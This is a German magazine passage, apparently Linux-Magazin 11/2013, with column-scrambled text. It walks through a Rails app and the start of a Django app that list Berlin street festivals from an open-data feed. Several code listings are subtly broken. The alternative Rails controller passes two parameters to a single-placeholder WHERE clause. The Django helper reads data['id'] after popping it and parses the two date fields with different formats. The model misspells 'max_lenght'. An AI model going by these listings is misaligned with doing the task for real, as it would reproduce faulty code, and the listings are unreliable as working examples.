ist, recht einfach auch lokal betreiben.<br />

Eine genaue Beschreibung der weiteren<br />

Abhängigkeiten ist in der Readme-Datei<br />

im Quelltext nachzulesen.<br />

Eine typische Rails-Anwendung folgt im<br />

Wesentlichen einer eigenen Interpretation<br />

des allgegenwärtigen Model-View-Controller-Pattern<br />

(MVC). Die Modelle sind<br />

in der Regel so genannte »ActiveRecord«-<br />

Objekte, die mit Hilfe von Introspektion<br />

auf die Datenbank ohne zusätzlichen<br />

Code aus den Datenbankspalten Attribute<br />

und Methoden generieren.<br />

Da es bei den vorgegebenen Daten um<br />

Festivitäten – neudeutsch Events – geht,<br />

liegt es nahe, ein Event-Model zu bauen.<br />

Es lässt sich, zusammen mit einer Migration,<br />

die das Datenbankschema anlegt,<br />

Der Programmierer<br />

Der Code stammt von Daniel Harrington<br />

[https:// github. com/ rubiii]. Er ist freiberuflicher<br />

Entwickler in Hamburg und arbeitet<br />

aktuell vorwiegend mit Ruby und Javascript.


Abbildung 1: Die Beispielanwendung verwendet einen Schieberegler (Slider)<br />

zur Datumseingrenzung und läuft auf der Plattform Heroku.<br />

über einen Kommandozeilenaufruf generieren<br />

(hier nur ausschnittweise):<br />

$ rails generate model Event source_id:U<br />

string area:text description:text U<br />

street:string [...]<br />

Der Generator produziert drei Dateien:<br />

das etwas anämische Model (die Klasse<br />

»Event«), einen vorerst ebenso spartanischen<br />

Test namens »EventTest« und die<br />

eben erwähnte Migration (Listing 1).<br />

Datenbank-Migrationen<br />

Migrationen in Rails sind möglichst Datenbank-agnostische<br />

Dateien, die in<br />

Ruby-Code beschreiben, wie das Schema<br />

der Datenbank zu ändern ist. Da diese<br />

Migrationen versioniert sind, kann man<br />

mit ihnen eine Datenbank automatisiert<br />

auf den aktuellen Stand bringen. Dafür<br />

ist eine Rake-Task zuständig. Rake [4] ist<br />

das leistungsfähige Ruby-Äquivalent zu<br />

Make und dient für allerlei Automatisierungen.<br />

Das Kommando »rake db:migrate«<br />

migriert das Datenbankschema auf den<br />

neuesten Stand.<br />

Um die Daten in die Datenbank zu importieren,<br />

existiert eine weitere Rake-Task,<br />

die allerdings selbst gebaut ist: »rake<br />

workers:import« ruft die Daten alle auf<br />

einmal vom Berlin.de-Server ab, übersetzt<br />

die Attribute in die Datenstruktur<br />

für die Event-Klasse und legt dann je<br />

nach Stand der Datenbank neue Events<br />

an oder aktualisiert alte. Eine solche Task<br />

lässt sich per Cron regelmäßig ausführen.<br />

Die Task selbst ruft eigentlich nur<br />

eine Methode einer Klasseninstanz auf<br />

(Listing 2)<br />

Der »ImportWorker« liegt im Verzeichnis<br />

»app/workers/«. Dies ist kein Standardverzeichnis,<br />

Rails lädt jedoch automatisch<br />

alle Dateien, die in Unterverzeichnissen<br />

von »app/« liegen.<br />

Der Worker holt in einem<br />

Rutsch mit Hilfe<br />

der Bibliothek HTTP-<br />

Client [5] die Inhalte<br />

vom Berlin.de-Server,<br />

benutzt Rubys Json-<br />

Bibliothek, um das<br />

ganze zu parsen, und<br />

schreibt dann, Event<br />

für Event, die Inhalte<br />

in die Datenbank.<br />

Hierzu gibt es eine<br />

Mapping-Methode, die die Feldnamen<br />

in den Json-Daten in Datenbankattribute<br />

übersetzt, sowie eine »upsert_event()«-<br />

Methode, die ein Event entweder anlegt<br />

oder aktualisiert (Listing 3).<br />

Die Methode »upsert_event« zeigt sehr<br />

schön die Benutzung der Objekt-Abstraktionsschicht<br />

»ActiveRecord«: Unter der<br />

Haube von »ActiveRecord« arbeitet eine<br />

ausgereifte Bibliothek für den Umgang<br />

mit relationaler Algebra. Hier ist der Fall<br />

eindeutig – die »where()«-Methode erzeugt<br />

eine SQL-»WHERE«-Klausel in der<br />

Form »WHERE source_id = ?«.<br />

Das »first_or_initialize« liefert entweder<br />

den ersten Treffer der Abfrage zurück<br />

oder aber ein leeres Objekt, wenn kein<br />

Treffer gefunden, das Event also noch<br />

nicht importiert wurde. Die Methode<br />

»update_attributes« aktualisiert die Attribute<br />

und speichert das Ganze in der<br />

Datenbank.<br />

Die nächste Schicht im Rails-MVC-Modell<br />

ist der Controller, der den HTTP-Request<br />

entgegennimmt und beantwortet. Wie<br />

Listing 4 zeigt, ist er recht simpel. Den<br />

Request nimmt die »index«-Methode<br />

entgegen. Das »respond_to« legt fest,<br />

dass dieser Controller nur auf Anfragen<br />

Listing 3: »ImportWorker«<br />

01 class ImportWorker<br />

02 [...]<br />

03 def map_to_event_hash(data)<br />

04 {<br />

05 source_id: data['id'],<br />

06 area: data['bezirk'],<br />

07 description: data['bezeichnung'],<br />

08 street: data['strasse'],<br />

09 zip_code: data['plz'],<br />

10 starts_at: Date.parse(data['von']),<br />

11 ends_at: Date.parse(data['bis']),<br />

12 period: data['zeit'],<br />

13 host: data['veranstalter'],<br />

reagiert, die Json verlangen. In der Index-Methode<br />

liest »Event.all« die ganze<br />

Events-Tabelle aus. Die Berliner Datenquelle<br />

liefert derzeit knapp 300 Events,<br />

sodass sich die Rechenarbeit in Grenzen<br />

hält. Das »respond_with()« sorgt dafür,<br />

dass die Daten im richtigen Datentypus<br />

ausgegeben werden. »ActiveRecord«<br />

bringt für Json und XML bereits eigene<br />

Methoden zur Konvertierung mit, sodass<br />

der Entwickler hier der Einfachheit halber<br />

die rohen Daten aus der Datenbank<br />

ausgeben darf.<br />

Templates<br />

Unter Praxisbedingungen ist der Programmierer<br />

oft gezwungen die Daten<br />

vor der Ausgabe noch zu modifizieren.<br />

Hierfür gibt es derzeit zwei besonders<br />

geeignete Ansätze: Die so genannten<br />

Jbuilder-Templates, die Teil von Rails<br />

4 sind, erlauben es, Json mit einer Art<br />

Templating-Sprache zusammenzubauen<br />

– angelehnt an die Builder-Bibliothek, die<br />

in Rails zum Generieren von XML dient.<br />

Die »ActiveModel«-Serializer gehen einen<br />

anderen Weg, indem sie eine eigene Kategorie<br />

von Klassen einführen, die Serializer,<br />

die mit einer ebenfalls recht simplen<br />

Syntax das Umarbeiten von Datenstrukturen<br />

ermöglichen.<br />

Damit liegt unter »/events.json« also<br />

eine vollständige Liste von Events als<br />

Listing 2: Import-Task<br />

01 namespace :workers do<br />

02 desc 'Import events from source'<br />

03 task :import => :environment do<br />

04 ImportWorker.new.run<br />

05 end<br />

06 end<br />

14 email: data['mail'],<br />

15 website: data['www'],<br />

16 note: data['bemerkung']<br />

17 }<br />

18 end<br />

19 <br />

20 def upsert_event(source_id, attributes)<br />

21 Event.where(source_id: source_id)<br />

22 .first_or_initialize<br />

23 .update_attributes(attributes)<br />

24 end<br />

25 end<br />

Ruby on Rails 11/2013<br />

Titelthema<br />

www.linux-magazin.de<br />

35


Titelthema<br />

www.linux-magazin.de Ruby on Rails 11/2013<br />

36<br />

Json-Daten (Abbildung 2). Nun geht es<br />

darum, sie in der gewünschten Form anzuzeigen.<br />

Die View-Schicht in Rails besteht im<br />

Prinzip nur aus Templates. Diese verwenden<br />

standardmäßig eine Template-<br />

Engine namens Embedded Ruby (ERB),<br />

es existiert allerdings noch eine Handvoll<br />

Alternativen. Der Anwendungsautor hat<br />

sich hier für eine relativ moderne Variante<br />

namens Slim [6] entschieden, die<br />

mit signifikantem Whitespace und einer<br />

sehr reduzierten Syntax auskommt. Das<br />

01 class EventsController < ApplicationController<br />

02 <br />

03 respond_to :json<br />

04 <br />

05 def index<br />

06 respond_with(Event.all)<br />

07 end<br />

08 <br />

09 end<br />

Listing 4: Controller<br />

Template, das die Homepage rendert, ist<br />

in Listing 5 zu sehen.<br />

Layouts<br />

Natürlich entsteht so keine vollständige<br />

HTML-Seite. Templates in Rails werden<br />

in aller Regel in ein so genanntes Layout<br />

gegossen, ein Template, das den Seitenrahmen<br />

enthält und eine Stelle definiert,<br />

an der der Code der Einzelseiten erscheinen<br />

soll. Auch dieses ist in Slim geschrieben<br />

(Listing 6)<br />

Die »ng«-Attribute deuten es schon an:<br />

Der Anwendungsentwickler hat es sich<br />

nicht nehmen lassen, zusätzlich zu Rails<br />

noch eine derzeit angesagte Technologie<br />

mit ins Spiel zu bringen: Das Frontend ist<br />

mittels Angular.js [7], einem Javascript-<br />

Framework von Google, realisiert. Das<br />

Template rendert hier gewissermaßen<br />

nur ein Template für Angular.js. Bis auf<br />

die Überschrift übernimmt Angular alle<br />

Elemente und zeigt sie dynamisch zur<br />

Laufzeit an.<br />

Angular.js<br />

Damit verlässt der Entwickler die Ebene<br />

des Server-seitigen Rails und landet bei<br />

Javascript im Client. Da die Beschreibung<br />

der Angular-Anwendung den Rahmen<br />

dieses Artikels sprengen würde, sei nur<br />

so viel gesagt: Die Angular-Anwendung<br />

lädt als Erstes die Daten von »/events.js«<br />

und filtert diese dann eigenständig nach<br />

Start- und Enddatum.<br />

Die Angular.js-Anwendung ist in Coffeescript<br />

geschrieben, einer Sprache, die<br />

ein wenig an Ruby erinnert und nach<br />

Javascript kompiliert. Rails unterstützt<br />

Coffeescript mit der so genannten Asset-<br />

Pipeline. Hierbei handelt es sich um ein<br />

Feature, das seit Rails 3.1 an Bord ist: Es<br />

verarbeitet alle Dateien, die unter »app/<br />

assets/« liegen. Wesentliche Aufgaben<br />

Listing 5: Slim-Template<br />

01 h1 Berliner und Brandenburger Volks‐ und Straßenfeste 2013<br />

02 <br />

03 #events ng‐controller='eventsController'<br />

04 #range‐slider<br />

05 .range‐info<br />

06 span.count<br />

07 | {{groupedEventsCount}} Veranstaltungen<br />

08 span<br />

09 | im gewählten Zeitraum<br />

10 <br />

11 div class='ongoing‐events' ng‐show='groupedEvents.ongoing'<br />

ng‐cloak=''<br />

12 h2<br />

13 | {{groupedEvents.ongoing.length}} laufende Veranstaltung(en)<br />

14 ol.events<br />

15 li ng‐repeat='event in groupedEvents.ongoing'<br />

16 p<br />

17 | {{event.description}}<br />

18 time<br />

19 | {{event.startsAt | date:'dd.MM.yyyy'}} ‐ {{event.endsAt |<br />

date:'dd.MM.yyyy'}}<br />

20 span<br />

21 | in {{event.area}}<br />

22 <br />

23 div class='upcoming‐events' ng‐show='groupedEvents.upcoming'<br />

ng‐cloak=''<br />

24 h2<br />

25 | {{groupedEvents.upcoming.length}} anstehende Veranstaltung(en)<br />

26 ol.events<br />

27 li ng‐repeat='event in groupedEvents.upcoming'<br />

28 p<br />

29 | {{event.description}}<br />

30 time<br />

31 | {{event.startsAt | date:'dd.MM.yyyy'}} ‐ {{event.endsAt |<br />

date:'dd.MM.yyyy'}}<br />

32 span<br />

33 | in {{event.area}}<br />

34 <br />

35 div class='passed‐events' ng‐show='groupedEvents.passed' ng‐cloak=''<br />

36 h2<br />

37 | {{groupedEvents.passed.length}} vergangene Veranstaltung(en)<br />

38 ol.events<br />

39 li ng‐repeat='event in groupedEvents.passed'<br />

40 p<br />

41 | {{event.description}}<br />

42 time<br />

43 | {{event.startsAt | date:'dd.MM.yyyy'}} ‐ {{event.endsAt |<br />

date:'dd.MM.yyyy'}}<br />

44 span<br />

45 | in {{event.area}}<br />

Listing 6: Slim-Layout<br />

01 doctype html<br />

02 html<br />

03 head<br />

04 title Festive<br />

05 = stylesheet_link_tag 'application'<br />

06 = javascript_include_tag 'application'<br />

07 = csrf_meta_tags<br />

08 <br />

09 body ng‐app='Festive'<br />

10 #content<br />

11 == yield<br />

12 <br />

13 #footer<br />

14 | Source code available at<br />

15 a href='https://github.com/rubiii/festive' github.com/rubiii/<br />

festive


Abbildung 2: Ruby on Rails liefert in der Beispielanwendung Json-Daten für die Anzeige.<br />

der Asset-Pipeline sind das Zusammenfügen<br />

mehrerer Quelldateien, etwa um<br />

Stylesheets besser aufteilen zu können,<br />

ohne im Produktivbetrieb alle Stylesheets<br />

einzeln laden zu müssen, sowie das Einbinden<br />

von diversen Compilern und Minifiern<br />

wie Uglify.js, Google Closure oder<br />

der YUI-Tools.<br />

Im Development-Modus ist standardmäßig<br />

das Minifizieren und Zusammenführen<br />

ausgeschaltet, was das Debuggen erleichtert.<br />

Beim Deployment packt eine<br />

Rake-Task die Assets zusammen, führt<br />

die Minification durch und legt die Dateien<br />

nach »public/assets/«, von wo der<br />

<strong>Web</strong>server sie ausliefern kann. Wie in<br />

dem Layout zu sehen ist, integriert die<br />

Anwendung genau eine Javascript-Datei<br />

namens »application« – die Endung ».js«<br />

versteht sich implizit.<br />

Zunächst bindet Listing 7 die Bibliothek<br />

Jquery [8] ein, die »range‐slider« benötigt.<br />

Danach kommen Underscore.js [9]<br />

und Angular.js. Da es sich bei den Bibliotheken<br />

um externe Abhängigkeiten handelt,<br />

liegen sie nicht im Verzeichnis »app/<br />

assets/«, sondern in »vendor/assets/«.<br />

Als Letztes bindet Rails alle Javascript-<br />

(oder Coffeescript-)Dateien ein, die sich<br />

in »app/assets/javascripts/« oder Unterordnern<br />

davon befinden.<br />

Die externen Abhängigkeiten verwaltet<br />

übrigens wenn möglich Bower [10]. Das<br />

Tool wurde von Twitter entwickelt und<br />

hat sich zu einem De-facto-Standard für<br />

das Javascript-Paketmanagement gemausert.<br />

Bower speichert die Abhängigkeiten<br />

in einem Format, das an das Json-Format<br />

der Node.js-Pakete erinnert. Die »bower.<br />

json«-Datei des Projekts zeigt Listing 8.<br />

Zusätzlich muss in einer Datei namens<br />

».bowerrc« der Zielpfad stehen:<br />

{<br />

"directory": "vendor/components"<br />

}<br />

Danach kann der Anwender die benötigten<br />

Pakete mit dem Kommando »bower<br />

install« installieren.<br />

Beurteilung<br />

Die gewählte Lösung hat bei aller Attraktivität<br />

des dynamischen Frontends das<br />

Problem, dass sie ohne Javascript nicht<br />

funktioniert. Eine Lösung, die komplett<br />

ohne Javascript auskommt, wäre sicher<br />

nicht viel aufwändiger zu programmieren.<br />

Zum Beispiel könnte der »Events-<br />

Controller« den anzuzeigenden Datumsbereich<br />

gleich Server-seitig verarbeiten<br />

(Listing 9).<br />

Gleichwohl demonstriert die Anwendung<br />

die Flexibilität von Rails, die es einfach<br />

macht, als Alternative zu einer normalen<br />

<strong>Web</strong>anwendung eine Single-Page-App<br />

plus Json-API zu bauen. Das ist gerade<br />

in den jüngsten Rails-Versionen deutlich<br />

leichter geworden.<br />

Eine der Stärken von Rails ist die gute<br />

Integration von automatisierten Tests.<br />

Die Beispielanwendung ist keine Ausnahme:<br />

Der Test für den »ImportWorker«<br />

importiert versuchsweise Testdaten, die


Titelthema<br />

www.linux-magazin.de Ruby on Rails 11/2013<br />

38<br />

nicht im <strong>Web</strong>, sondern einfach in einer<br />

Datei, im Rails-Jargon Fixture genannt,<br />

abgelegt sind. Ermöglicht wird dies durch<br />

das so genannte Mocken des eigentlichen<br />

HTTP-Requests mit Hilfe der Mocking-<br />

Bibliothek Mocha [11].<br />

Unter »/test/integration« gibt es zudem<br />

einen Integrationstest, der die Bibliothek<br />

Capybara und den Selenium-<strong>Web</strong>driver<br />

[12] verwendet, um echte Frontend-Integration-Tests<br />

in einem <strong>Web</strong>browser auszuführen,<br />

was bei dieser Art Anwendung<br />

fast zwingend notwendig ist.<br />

Zusätzlich zu diesen Rails-Tests bringt<br />

die Beispielanwendung auch noch einen<br />

Javascript-Test mit. Er ist mit dem<br />

Projekt Karma [13] realisiert, das aus<br />

dem Angular.js-Umfeld kommt. Die Besonderheit<br />

von Karma ist, dass es die<br />

Tests parallel in einer ganzen Reihe von<br />

Browsern ausführen kann und die Ergebnisse<br />

anschließend zusammenführt.<br />

All diese automatisierten Tests der Anwendung<br />

laufen auch auf der gehosteten<br />

Continuous-Integration-Plattform Travis-<br />

CI [14].<br />

Die von der Redaktion gestellte Programmieraufgabe<br />

ist keine besonders passende<br />

01 #= require jquery/jquery<br />

02 #= require underscore/underscore<br />

03 #= require angular/index<br />

04 #<br />

05 #= require range‐slider<br />

06 #= require_tree .<br />

01 {<br />

02 "name": "festive",<br />

03 "version": "0.1.0",<br />

04 "dependencies": {<br />

05 "jquery": "1.9.1",<br />

06 "underscore": "1.4.3",<br />

07 "angular": "http://code.angularjs.org/1.2.0‐rc.2/angular.js",<br />

01 class EventsController < ApplicationController<br />

02 <br />

03 respond_to :json<br />

04 <br />

05 def index<br />

Anforderung an Rails.<br />

Viele Ruby-Entwickler<br />

hätten für diese Aufgabe<br />

vielleicht eher<br />

ein Mikroframework<br />

wie Sinatra eingesetzt<br />

und die Json-Anfragen<br />

einfach durchgereicht<br />

oder nur in einem<br />

Memory-Cache zwischengespeichert.<br />

Ausblick<br />

08 "angular‐mocks": "http://code.angularjs.org/1.2.0‐rc.2/angular‐mocks.js"<br />

09 }<br />

10 }<br />

Rails spielt seine Stärken<br />

vor allem dort<br />

aus, wo schnell, effizient,<br />

aber auch sorgfältig <strong>Web</strong>anwendungen<br />

entstehen sollen – nicht umsonst<br />

ist Rails insbesondere bei Startups sehr<br />

beliebt. Wer sich an die von Rails vorgegebenen<br />

Konventionen hält, ist als Entwickler<br />

außerdem deutlich weniger mit<br />

dem Schreiben des typischen Boilerplate-<br />

Codes beschäftigt.<br />

Natürlich schläft die Konkurrenz nicht.<br />

Die Rails-Gemeinde ist jedoch immer<br />

noch sehr weit vorne dabei, wenn es<br />

darum geht, Trends gerade im Tooling<br />

zu setzen. Die Asset-Pipeline, in diesem<br />

Artikel kurz erwähnt, ist mit Rails 4<br />

endlich erwachsen geworden und sorgt<br />

zusammen mit dem gesamten Ökosystem<br />

und Tools wie Sass, Compass oder<br />

Coffeescript dafür, dass Frontend-Entwicklung<br />

einen ähnlichen Stellenwert<br />

06 respond_with(Event.where("starts_at = ?", params[:end_date], params[:start_date]))<br />

07 end<br />

08 <br />

09 end<br />

Listing 7: Javascript<br />

Listing 8: »bower.json«<br />

Listing 9: Alternativer Controller<br />

Abbildung 3: Das Testwerkzeug Karma prüft das Javascript der Anwendung<br />

parallel in mehreren <strong>Web</strong>browsern.<br />

erhält wie das Back end. Dennoch bleibt<br />

abzuwarten, wie sich das gesamte <strong>Web</strong>-<br />

Tooling in den nächsten Jahren verändert<br />

und ob die Rails-Community Wege<br />

findet, aktuelle Entwicklungen wie die<br />

Javascript-Tools Grunt und Bower besser<br />

zu integrieren. Ansonsten könnte sie am<br />

Ende mit eigenen Insellösungen dastehen.<br />

(mhu) <br />

n<br />

Infos<br />

[1] Ruby on Rails:<br />

[http:// www. rubyonrails. org]<br />

[2] Laufende Instanz auf Heroku:<br />

[http:// festive‐rails. herokuapp. com]<br />

[3] Quellcode auf Github:<br />

[https:// github. com/ rubiii/ festive]<br />

[4] Rake: [http:// rake. rubyforge. org]<br />

[5] Bibliothek »HTTPClient«:<br />

[https:// github. com/ nahi/ httpclient]<br />

[6] Slim-Templates: [http:// slim‐lang. com]<br />

[7] Angular.js: [http:// angularjs. org]<br />

[8] Jquery: [http:// jquery. com]<br />

[9] Underscore.js: [http:// underscorejs. org]<br />

[10] Bower: [https:// github. com/ bower/ bower]<br />

[11] Mocha:<br />

[http:// gofreerange. com/ mocha/ docs/]<br />

[12] Capybara:<br />

[https:// github. com/ jnicklas/ capybara]<br />

[13] Karma: [http:// karma‐runner. github. io/ 0.​<br />

10/ index. html]<br />

[14] Beispielanwendung auf Travis-CI: [https://​<br />

travis‐ci. org/ rubiii/ festive]<br />

Der Autor<br />

Jan Krutisch [http:// jan. krutisch. de] ist freiberuflicher<br />

Software-Entwickler und Autor. Er arbeitet<br />

momentan vor allem für Verlage an Themen<br />

wie mobile <strong>Web</strong>sites und E-Books.


Das Python-Framework Django<br />

Django unchained<br />

Django 11/2013<br />

Titelthema<br />

Alle befragten Django-Entwickler waren über die vom <strong>Linux</strong>-<strong>Magazin</strong> gestellte Aufgabe nicht glücklich: Mit einem<br />

CMS sei das wesentlich einfacher zu lösen, hieß es. Autor Sven Schannak zeigt, wie es trotzdem klappt. Sven Schannak<br />

www.linux-magazin.de<br />

39<br />

Mit Django 1.5, das die vom<br />

<strong>Linux</strong>-<strong>Magazin</strong> gestellte Aufgabe bewältigen<br />

soll, betritt ein in Python verfasstes<br />

Framework die illustre Runde. Seit Version<br />

1.3 bringt Django die so genannten<br />

Class-based Views (CBV) mit, die den<br />

Zeitaufwand für das Entwickeln weniger<br />

komplexer Aufgaben minimieren. Grundlage<br />

für den Code bieten die offizielle<br />

Django-Doku [1] und die Anregungen<br />

aus dem Referenzwerk „Two Scoops of<br />

Django“ [2]. Zum besseren Verständnis<br />

der hier eingesetzten Techniken empfiehlt<br />

sich zudem der Blick in das Tutorial des<br />

Django-Projekts [3].<br />

Doch die CBV kosten: Wer sie nutzen<br />

will, muss eine steilere Lernkurve akzeptieren<br />

als bei den traditionellen Functional-based<br />

Views (FBV). Aber durch die<br />

Zeitersparnis beim Entwickeln lohnt sich<br />

der Mehraufwand am Ende. FBVs ließen<br />

sich für die Lösung der Aufgabe aber<br />

auch verwenden.<br />

An die Quelle<br />

Um die offene Datenquelle anzuzapfen<br />

und die Berliner und Brandenburger<br />

Volks- und Straßenfeste [4] auf einer<br />

<strong>Web</strong>seite anzuzeigen, lässt sich das<br />

mitgelieferte REST-API mit XML- oder<br />

Json-Schnittstellen einsetzen. Das Python-Framework<br />

kann zwar mit beiden<br />

Datentypen arbeiten, im Artikel kommt<br />

jedoch Json als favorisiertes Format zum<br />

Einsatz. Um außerdem nicht ständig Requests<br />

an den Portalbetreiber zu senden,<br />

soll Django die Daten cachen und aufbereiten,<br />

falls ein Besucher der <strong>Web</strong>seite<br />

zum Beispiel nach dem Termin für das<br />

Berliner Bierfestival [5] sucht.<br />

Um die Daten serverseitig zu holen, gibt<br />

es mehrere Ansätze: Zum Beispiel ließe<br />

sich das Task-Framework Celery mit dem<br />

Plugin »django‐celery« einspannen, das<br />

einige großartige Funktionen für das<br />

Bewältigen periodisch wiederkehrender<br />

Aufgaben mitbringt. Allerdings wäre<br />

der Konfigurationsaufwand recht hoch,<br />

weshalb ein so genannter Management-<br />

Befehl diese Aufgabe übernimmt. Ihn ruft<br />

der Entwickler direkt aus der Shell heraus<br />

auf. Er lässt sich als Cronjob einrichten,<br />

der die Daten regelmäßig von der Quelle<br />

abholt und aktualisiert. Die Entwicklung<br />

dieses Befehls macht den Anfang des Artikels.<br />

Nach dem Einrichten von Django [1] erstellt<br />

der Programmierer zunächst eine<br />

App mit dem Namen »streetparty«:<br />

django‐admin.py startapp streetparty<br />

Der Management-Befehl gehört in einen<br />

Ordner mit dem Namen »management«,<br />

den er unterhalb von »streetparty« anlegt.<br />

Darin legt er zudem eine leere Datei mit<br />

der Bezeichnung »__init__.py« und einen<br />

weiteren Ordner »commands« an, welcher<br />

ebenfalls eine Datei »__init__.py«<br />

enthalten soll. An ihr erkennt Python,<br />

dass sich in den Ordnern Python-Skripte<br />

befinden. Im Verzeichnis »commands«<br />

erstellt der Entwickler zudem die Datei<br />

mit dem Code zum Holen der Daten.<br />

Im Beispiel heißt sie »get_data.py« und<br />

enthält den Code aus Listing 1.<br />

Management-Befehle ähneln sich stets im<br />

Aufbau: Es muss eine Klasse »Command«<br />

geben, die mindestens von »BaseCommand«<br />

erbt. In der Methode »handle()«<br />

wird dann die eigentliche Logik implementiert,<br />

wobei Management-Befehle<br />

Listing 1: »get_data.py«<br />

01 from django.core.management.base import BaseCommand<br />

02 from streetparty.helper import StrassenFestHelper<br />

03 <br />

04 <br />

05 class Command(BaseCommand):<br />

06 help = 'Holt die aktuellen Daten der<br />

Straßenfeste'<br />

07 <br />

08 def handle(self, *args, **options):<br />

09 StrassenFestHelper().update()<br />

10 <br />

© Elnur Amikishiyev, 123RF.com


Titelthema<br />

www.linux-magazin.de Django 11/2013<br />

40<br />

auch Argumente empfangen können. Das<br />

Beispiel bindet zusätzlich noch einen Hilfetext<br />

ein.<br />

Hilfe beim Straßenfest<br />

Die Methode selbst ruft eine andere Methode<br />

der Klasse »StrassenFestHelper«<br />

auf, die später implementiert wird und<br />

die Daten in die Datenbank schreibt.<br />

Diese Klasse in der neu anzulegenden<br />

Listing 2: »helper.py«<br />

Datei »streetparty/helper.py« schreibt der<br />

Django-Entwickler. Den Code für die Helferklasse<br />

zeigt Listing 2.<br />

In der vorgegebenen Datenquelle ist ein<br />

»id«-Feld vorhanden, allerdings verrät die<br />

Dokumentation nicht, ob die IDs eindeutig<br />

vergeben sind. Bekommen zwei<br />

Feste zufälligerweise die gleiche ID zugewiesen,<br />

kann es zu Konflikten kommen.<br />

Daher löscht die Funktion »update()« die<br />

Datensätze zunächst, um sie dann komplett<br />

neu einzuspielen. Im Modell sichert<br />

das Feld »api_id« die ID der Datenquelle.<br />

Um letztere nicht als Primary Key zu verwenden,<br />

setzt die Funktion den Schlüssel<br />

für »id« auf »api_id« um.<br />

Formatprüfung<br />

Da man prinzipiell Daten von anderen<br />

Seiten auf Korrektheit überprüfen sollte,<br />

wird zudem die Methode »full_clean«<br />

01 import sys<br />

02 import json<br />

03 import urllib2<br />

04 from datetime import datetime<br />

05 from django.conf import settings<br />

06 from django.core.exceptions import ValidationError<br />

07 from streetparty.models import StrassenFest<br />

08 <br />

09 class StrassenFestHelper():<br />

10 def update(self):<br />

11 req = urllib2.Request(settings.STREETPARTY_DATA_URL)<br />

12 opener = urllib2.build_opener()<br />

13 source = opener.open(req)<br />

14 StrassenFest.objects.all().delete()<br />

15 <br />

16 for data in json.load(source)['index']:<br />

17 data['von'] = datetime.strptime(data['von'], '%Y-%m-%d')<br />

18 data['bis'] = datetime.strptime(data['bis'], '%d.%m.%Y')<br />

19 data['api_id'] = data.pop('id')<br />

20 fest = StrassenFest(**data)<br />

21 try:<br />

22 fest.full_clean()<br />

23 except ValidationError as e:<br />

24 print >>sys.stderr, 'Failed to validate remote entry<br />

with id %s' % data['id']<br />

25 print >>sys.stderr, str(e)<br />

26 else:<br />

27 fest.save()<br />

Listing 3: »models.py«<br />

01 from django.db import models<br />

02 <br />

03 # Create your models here.<br />

04 class StrassenFest(models.Model):<br />

05 # so, id cannot overwrite the database‐id<br />

06 api_id = models.CharField(max_length=255, blank=True)<br />

07 bezeichnung = models.TextField()<br />

08 # adress‐data should normally be normalized<br />

09 bezirk = models.CharField(max_length=255, blank=True)<br />

10 strasse = models.CharField(max_length=255, blank=True)<br />

11 plz = models.CharField(max_length=5, blank=True)<br />

12 von = models.DateField()<br />

13 bis = models.DateField()<br />

14 zeit = models.CharField(max_length=255, blank=True)<br />

15 veranstalter = models.TextField(blank=True)<br />

16 mail = models.EmailField(blank=True)<br />

17 www = models.CharField(max_lenght=255, blank=True)<br />

18 bemerkungen = models.TextField(blank=True)<br />

Listing 4: »views.py«<br />

01 from django.views.generic import ListView<br />

02 from django.utils import timezone<br />

03 <br />

04 from .models import StrassenFest<br />

05 <br />

06 class StrassenFestList(ListView):<br />

07 def get_queryset(self):<br />

08 today = timezone.now()<br />

09 return StrassenFest.objects.filter(von__year=today.year,<br />

von__month=today.month).order_by('von')<br />

Listing 5: »strassenfest_list.html«<br />

01 {% extends 'base.html' %}<br />

02 {% block content %}<br />

03 <br />

04 <br />

05 <br />

06 {% for data in object_list %}<br />

07 <br />

08 <br />

09 {{ data.bezeichnung }}<br />

10 Von {{ data.von|date:"d.m.Y" }} bis<br />

{{ data.bis|date:"d.m.Y" }}<br />

11 <br />

12 <br />

13 {% endfor %}<br />

14 <br />

15 <br />

16 {% endblock %}<br />

17


verwendet. Diese Methode überprüft,<br />

ob die Daten grundsätzlich einem Format<br />

entsprechen, mit dem Django umgehen<br />

kann. So überprüft Django beispielsweise,<br />

ob ein »DateField« auch<br />

tatsächlich mit einem Datum befüllt ist.<br />

Eine andere Möglichkeit bestünde darin,<br />

Formular-Klassen zu verwenden, die es<br />

erlauben, Input beliebig zu validieren.<br />

Im nächsten Schritt lässt sich endlich der<br />

Management-Befehl ausführen:<br />

python manage.py get_data<br />

Allerdings ruft der Befehl jetzt noch Fehlermeldungen<br />

hervor, weil zunächst ein<br />

passendes Datenbank-Modell fehlt und<br />

Django aus diesem Grund die Daten nicht<br />

ablegen kann. Dieses Modell definiert die<br />

Datei »models.py«, die Listing 3 zeigt.<br />

Modellbaukasten<br />

Djangos Datenbankmodelle sind im Prinzip<br />

selbsterklärend. Sie bestehen aus einer<br />

Klasse, die mindestens von »models.<br />

Model« erbt und ansonsten aus Attributen<br />

und Methoden besteht. Die Attribute<br />

lehnen sich an die Originalbezeichnungen<br />

der Datenquelle an und sind den<br />

passenden Feldern zugeordnet.<br />

Der Vorteil korrekter Felder offenbart sich<br />

beim Einsatz von Django-Forms: Diese<br />

validieren automatisch Daten vor dem<br />

Einfügen und geben notfalls passende<br />

Fehlermeldungen aus. Das Attribut »api_<br />

id« bekommt zusätzlich den Parameter<br />

»blank=True« übergeben, der dafür<br />

sorgt, dass dieses Feld auch leer bleiben<br />

darf. Hat der Entwickler das Modell<br />

schließlich implementiert, in die Konfiguration<br />

der App eingetragen und über<br />

python manage.py syncdb<br />

die Datenbank synchronisiert, sollte der<br />

Management-Befehl erfolgreich arbeiten<br />

und die Datensätze eintragen.<br />

Logik bitte!<br />

Als Nächstes geht es um die Logik, mit<br />

der Django die Daten in den Templates<br />

präsentiert. Diese legt die Datei »views.<br />

py« (Listing 4) fest (Abbildung 1). Hier<br />

treten nun die bereits angesprochenen<br />

Class-based Views in Gestalt einer »List-<br />

View« ins Rampenlicht. Das ergibt Sinn,<br />

da Django eine Liste von Elementen anzeigen<br />

soll. Für die Anzeige einzelner<br />

Elemente käme etwa eine »DetailView«<br />

zum Zuge. Das verdeutlicht auch den<br />

Vorteil von CBV: Gerade mal drei Zeilen<br />

Code sind nötig, um die erste Liste<br />

mit Daten anzuzeigen. Sehr viel passiert<br />

dabei im Hintergrund. Beim FBV-Ansatz<br />

muss sich der Entwickler hingegen selbst<br />

um viele Dinge kümmern und kann so<br />

nicht immer dem DRY-Ansatz („Don’t<br />

Repeat Yourself“) folgen.<br />

In der View selbst wird zuerst das heutige<br />

Datum bestimmt. Das ist wichtig,<br />

denn das Template soll später nur die<br />

